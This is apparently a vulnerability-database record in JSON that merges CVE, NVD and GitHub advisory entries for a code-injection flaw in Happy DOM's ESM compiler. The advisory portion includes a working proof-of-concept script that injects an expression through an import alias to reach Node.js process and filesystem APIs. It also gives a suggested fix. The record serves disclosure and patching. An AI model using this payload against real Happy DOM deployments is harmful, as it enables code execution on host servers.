{"id":"CVE-2026-115895","revision":null,"records":[{"revision":"56ec99e3e8c246968f879544864b903a","observedAt":"2026-10-23T22:48:20.692+00:00","statement":{"source":"cve-program","id":"CVE-2026-115895","aliases":[],"title":"Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.","state":0,"publishedAt":"2026-10-23T21:32:24.999+00:00","modifiedAt":"2026-10-23T21:32:24.999+00:00","affected":[{"ecosystem":"Vendor product","name":"happy-dom","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"capricorn86\",\n                    \"product\": \"happy-dom\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 17.0.0, < 21.0.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79","https://github.com/capricorn86/happy-dom/pull/2537","https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-115895","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-115895","identifiers":["CVE-2026-115895"]},"retained":false,"historicalAffected":[]},{"revision":"ed26c23cc21b4c1b840742bbc288c3ca","observedAt":"2026-10-25T05:17:25.909+00:00","statement":{"source":"nvd","id":"CVE-2026-115895","aliases":[],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it …","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.","state":0,"publishedAt":"2026-10-23T22:16:58.987+00:00","modifiedAt":"2026-10-23T22:16:58.987+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13","https://github.com/capricorn86/happy-dom/pull/2537","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4","https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115895","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Received","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-10-23T22:16:58.987","lastModified":"2026-10-23T22:16:58.987"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-115895","identifiers":["CVE-2026-115895"]},"retained":false,"historicalAffected":[]},{"revision":"56adc0a518c34895a54873a7b6e240b9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-834v-8h66-3h79","aliases":["CVE-2026-115895"],"title":"Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution","description":"## Summary\n\nThe ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.\n\nAs a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.\n\nThis appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.\n\nThese issues were confirmed through the public `Window` and `<script type=\"module\">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.\n\n## Confirmed affected versions\n\nThe PoC was directly tested against:\n\n- `happy-dom@17.0.0`\n- `happy-dom@20.0.0`\n- `happy-dom@20.1.0`\n- `happy-dom@20.14.5`\n\nThe same PoC does not trigger on `happy-dom@16.8.1`.\n\nThe ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.\n\nSuggested affected range:\n\n```text\n>= 17.0.0, <= 20.14.5\n```\n\nNo patched version is currently available.\n\n## Preconditions\n\n- JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`.\n- Attacker-controlled HTML or module source is processed by Happy DOM.\n- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.\n\n## Technical details\n\nIn `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias:\n\n```ts\nconst nameParts = part.trim().split(/\\s+as\\s+/);\nconst alias = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\nconst name = nameParts[0].replace(/[\"']/g, '');\n\nif (alias && name) {\n  properties.push({ name, alias });\n}\n```\n\nUnlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier.\n\nIt is subsequently inserted directly into generated binding syntax:\n\n```ts\nnewCodeStart += `let {${properties\n  .map((property) =>\n    property.alias\n      ? `\"${property.name}\": ${property.alias}`\n      : property.name\n  )\n  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;\n```\n\nConsider the following source:\n\n```js\nimport {\n  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\nThis is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.\n\nHappy DOM instead transforms it into the equivalent of:\n\n```js\nlet {\n  \"missing\": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} = $happy_dom.imports.get('https://poc.local/dep.json');\n```\n\nThis generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.\n\nThe `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:\n\n```ts\nif (!match[7] || match[7] === 'esm') {\n  resolvableCircularImports.push({ url, properties });\n}\n```\n\nUsing a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.\n\nBacktick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:\n\n```js\nglobalThis.constructor.constructor(`return process`)()\n  .getBuiltinModule(`node:fs`)\n  .mkdirSync(\n    globalThis.constructor.constructor(`return process`)().cwd() +\n      `/HAPPY_DOM_RCE_PROOF`\n  )\n```\n\n## Proof of concept\n\nThe following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.\n\n### 1. Create `package.json`\n\n```json\n{\n  \"name\": \"happy-dom-import-alias-rce-poc\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"happy-dom\": \"20.14.5\"\n  }\n}\n```\n\n### 2. Create `dep.json`\n\n```json\n{}\n```\n\n### 3. Create `payload.mjs`\n\nThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:\n\n```js\nimport {\n  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\n### 4. Create `poc.mjs`\n\n```js\nimport { Window } from 'happy-dom';\nimport { existsSync, rmSync } from 'node:fs';\nimport { resolve } from 'node:path';\n\nconst proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');\nrmSync(proofDirectory, { recursive: true, force: true });\n\nconst window = new Window({\n  url: 'https://poc.local/',\n  settings: {\n    enableJavaScriptEvaluation: true,\n    suppressCodeGenerationFromStringsWarning: true,\n    fetch: {\n      virtualServers: [\n        {\n          url: 'https://poc.local/',\n          directory: process.cwd()\n        }\n      ]\n    }\n  }\n});\n\nconst script = window.document.createElement('script');\nscript.type = 'module';\n\nscript.textContent = `\n  import {\n    missing as injected = globalThis.constructor.constructor(\\`return process\\`)()\n      .getBuiltinModule(\\`node:fs\\`)\n      .mkdirSync(\n        globalThis.constructor.constructor(\\`return process\\`)().cwd() +\n        \\`/HAPPY_DOM_RCE_PROOF\\`\n      )\n  } from './dep.json' with { type: 'json' };\n`;\n\nwindow.document.body.appendChild(script);\nawait window.happyDOM.waitUntilComplete();\n\nif (!existsSync(proofDirectory)) {\n  console.error('[-] Exploit failed: proof directory was not created.');\n  console.error(\n    window.happyDOM.virtualConsolePrinter.readAsString()\n  );\n  process.exitCode = 1;\n} else {\n  console.log(`[+] Host filesystem reached: ${proofDirectory}`);\n}\n\nawait window.happyDOM.close();\n```\n\n### 5. Run the control test\n\n```console\nnpm install\nnode --check payload.mjs\n```\n\nExpected result:\n\n```text\nSyntaxError: Unexpected token '='\n```\n\nThis confirms that the source is not valid ESM.\n\n### 6. Run the Happy DOM PoC\n\n```console\nnode poc.mjs\n```\n\nExpected result:\n\n```text\n[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF\n```\n\nThe existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.\n\nThe PoC was also verified inside a `node:24-alpine` Docker container, where it created:\n\n```text\n/poc/HAPPY_DOM_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.\n\nThis may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.\n\nThe demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.\n\n## Relationship to CVE-2026-33943\n\nCVE-2026-33943 covers expression injection through a local export declaration:\n\n```js\nexport { attacker_expression }\n```\n\nIts fix added identifier validation to the `importName` used by the `export { ... }` handler:\n\n```ts\nif (\n  exportName &&\n  importName &&\n  VALID_VARIABLE_NAME_REGEXP.test(importName)\n) {\n  // ...\n}\n```\n\nThis report uses a different parsing and code-generation path:\n\n```js\nimport { name as malicious_alias } from './module';\n```\n\nThe unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.\n\nThe issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`.\n\n## Suggested fix\n\nValidate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:\n\n```diff\n- if (alias && name) {\n+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {\n```\n\nA regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.\n\nThis change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors.\n\nFor additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation.\n\n## Verification record\n\n- Testing date: 2026-09-17\n- Duplicate check updated: 2026-09-20\n- Platform: Windows 11\n- Node.js: `24.14.1`\n- Latest tested package: `happy-dom@20.14.5`\n- Source tag: `v20.14.5`\n- Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`\n- First confirmed affected version: `17.0.0`\n- Confirmed unaffected version: `16.8.1`\n- Docker environment: Node 24 Alpine\n- No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.","state":0,"publishedAt":"2026-10-23T22:06:13+00:00","modifiedAt":"2026-10-23T22:15:03.5264408+00:00","affected":[{"ecosystem":"npm","name":"happy-dom","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"17.0.0"},{"kind":"fixed","version":"21.0.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79","https://github.com/capricorn86/happy-dom/pull/2537","https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13","https://github.com/capricorn86/happy-dom","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4"],"sourceUrl":"https://github.com/advisories/GHSA-834v-8h66-3h79","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-834v-8h66-3h79","identifiers":["GHSA-834v-8h66-3h79","CVE-2026-115895"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1756,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5751909+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5751943+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-5ba1945314e042c2ced14b33f3680fa71692812d925544312b218f5eb8a26e71-f372ad4ebad95d0372251a2b800e134bcac5b2473e19479f542e5c01536704c4","complete":true,"records":414140,"lastAttemptAt":"2026-10-26T11:13:08.2100525+00:00","lastSuccessAt":"2026-10-26T11:13:08.1783835+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.2100525+00:00","snapshotPublishedAt":"2026-10-26T10:23:49+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-26T11:13:12.1268098+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":4764,"expectedIdentifiers":13474},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-26T11:13:09.4007372+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-26T11:13:09.4007372+00:00","lastSuccessAt":"2026-10-26T11:13:09.5760274+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.5760278+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-204a3fb93a00487e8f7f36db01dc851d","complete":true,"records":13413,"lastAttemptAt":"2026-10-26T11:13:10.0887317+00:00","lastSuccessAt":"2026-10-25T16:19:28.681+00:00","error":null,"lastVerifiedAt":"2026-10-25T16:19:28.681+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13474,"expectedIdentifiers":13474},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-2375a4e597279abf92e8747e140fe8da9d421877cd49cae3ac69a2cb78469b2c","complete":true,"records":9779,"lastAttemptAt":"2026-10-26T11:13:09.2366743+00:00","lastSuccessAt":"2026-10-24T13:19:53.1346702+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.2366743+00:00","snapshotPublishedAt":"2026-10-24T03:03:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-16ad89dfea13ab9e9b0108e63a759d63bd4559cc68b58491107d62ee35bbbaf2","complete":true,"records":1965,"lastAttemptAt":"2026-10-26T11:13:08.7373454+00:00","lastSuccessAt":"2026-10-23T16:01:26.4487605+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.7373454+00:00","snapshotPublishedAt":"2026-10-21T12:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-7da67a15aa6e56a0e3081a7646dc74d537e6ef974afc593c2b1794ed01970648","complete":true,"records":2969,"lastAttemptAt":"2026-10-26T11:13:09.3558968+00:00","lastSuccessAt":"2026-10-24T13:19:59.1145547+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:09.3558968+00:00","snapshotPublishedAt":"2026-10-24T08:47:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-654e90fb44abcd729ddecf56d54c1b46ce87ca3181850e8bc65d5c8befceb659","complete":true,"records":230805,"lastAttemptAt":"2026-10-26T11:13:08.8456799+00:00","lastSuccessAt":"2026-10-26T08:22:30.1390577+00:00","error":null,"lastVerifiedAt":"2026-10-26T11:13:08.8456799+00:00","snapshotPublishedAt":"2026-10-26T07:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}